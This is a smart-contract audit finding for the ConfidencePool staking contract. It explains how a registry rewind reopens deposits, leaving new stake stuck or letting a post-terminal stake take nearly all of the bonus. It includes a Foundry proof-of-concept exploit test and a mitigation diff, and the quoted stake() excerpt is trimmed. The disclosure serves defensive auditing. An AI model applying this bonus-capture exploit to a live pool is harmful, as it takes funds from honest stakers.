Root + Impact
Description
Deposit admission depends only on the registry's current state. A registry rewind can therefore admit stake after the pool has permanently recorded active risk or a terminal time, leaving the new principal non-withdrawable and allowing post-terminal stake to capture bonus without bearing risk.
Normally, stake() and contributeBonus() are allowed in the pre-risk states and UNDER_ATTACK, but closed in PROMOTION_REQUESTED, PRODUCTION, and CORRUPTED. Once active risk is observed, riskWindowStart permanently disables withdrawals; once a terminal state is observed, riskWindowEnd permanently fixes the bonus endpoint T.
_assertDepositsAllowed() ignores both local markers and checks only the latest registry value. If a registry migration, replacement, or reset temporarily reports NEW_DEPLOYMENT after riskWindowStart was sealed, a new stake succeeds even though withdraw() remains permanently disabled. If the rewind occurs after riskWindowEnd was sealed, a new stake is recorded with entryTime > T.
The k=2 score is stake * (T - entryTime)^2. The implementation's expanded quadratic remains positive for entryTime > T, so a deposit made after the risk window receives more bonus weight the farther it is from T. An unprivileged depositor can therefore enter during the rewind, wait for the registry to return to PRODUCTION, and claim principal plus bonus despite bearing no pre-T risk. In the PoC, equal-sized stakes are placed one day before and twenty days after T; the post-terminal stake captures over 99% of the bonus.
src/ConfidencePool.sol
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
_assertDepositsAllowed(_observePoolState());
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
emit Staked(msg.sender, received);
}
function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
if (
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION || state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}
Risk
Likelihood:
-
The ordinary BattleChain lifecycle is monotonic. This occurs during a registry migration, replacement, reset, or other trusted infrastructure event that temporarily exposes an earlier state to an unresolved pool.
-
Once such a rewind is visible, any account can deposit; exploiting the bonus path requires only a terminal marker already sealed and enough time remaining before expiry.
Impact:
-
New principal is accepted after the pool has locally recorded risk, but cannot use the pre-resolution withdrawal path because riskWindowStart remains sealed.
-
A post-T staker bears no risk during the recorded window yet can capture most of the bonus, directly diluting honest stakers. The share grows with the square of the time elapsed after T.
Proof of Concept
Create test/audit/CP007RegistryRewindReopensDeposits.t.sol with the following contents:
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
contract CP007RegistryRewindReopensDepositsTest is BaseConfidencePoolTest {
function _rewindRegistry() internal returns (MockAttackRegistry replacementRegistry) {
replacementRegistry = new MockAttackRegistry();
replacementRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
safeHarborRegistry.setAttackRegistry(address(replacementRegistry));
}
function test_RewindAcceptsNewStakeThatCannotWithdraw() external {
_stake(alice, 100 * ONE);
_passThroughUnderAttack();
_rewindRegistry();
_stake(bob, 100 * ONE);
assertEq(pool.eligibleStake(bob), 100 * ONE, "rewind reopens deposits");
vm.prank(bob);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
}
function test_PostTerminalStakeCapturesBonusWithoutBearingRisk() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 100 * ONE);
_passThroughUnderAttack();
vm.warp(vm.getBlockTimestamp() + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
pool.pokeRiskWindow();
uint256 T = pool.riskWindowEnd();
MockAttackRegistry replacementRegistry = _rewindRegistry();
vm.warp(T + 20 days);
_stake(bob, 100 * ONE);
replacementRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
uint256 bobBonus = token.balanceOf(bob) - bobBefore - 100 * ONE;
assertEq(pool.outcomeFlaggedAt(), T, "the original terminal time remains sealed");
assertGt(bobBonus, 99 * ONE, "post-T stake captures nearly all bonus");
}
}
Run the PoC from the repository root:
-
Execute forge test --offline --match-path test/audit/CP007RegistryRewindReopensDeposits.t.sol -vv.
-
Confirm that both tests pass with zero failures.
Recommended Mitigation
Make deposit gating respect the pool's monotonic local history. Keep UNDER_ATTACK deposits available as designed, but reject pre-risk registry values after riskWindowStart is set and reject every deposit after riskWindowEnd is set.
src/ConfidencePool.sol
-function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
+function _assertDepositsAllowed(IAttackRegistry.ContractState state) private view {
if (
- state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
+ riskWindowEnd != 0
+ || (
+ riskWindowStart != 0
+ && (state == IAttackRegistry.ContractState.NOT_DEPLOYED
+ || state == IAttackRegistry.ContractState.NEW_DEPLOYMENT
+ || state == IAttackRegistry.ContractState.ATTACK_REQUESTED)
+ )
+ || state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION || state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
}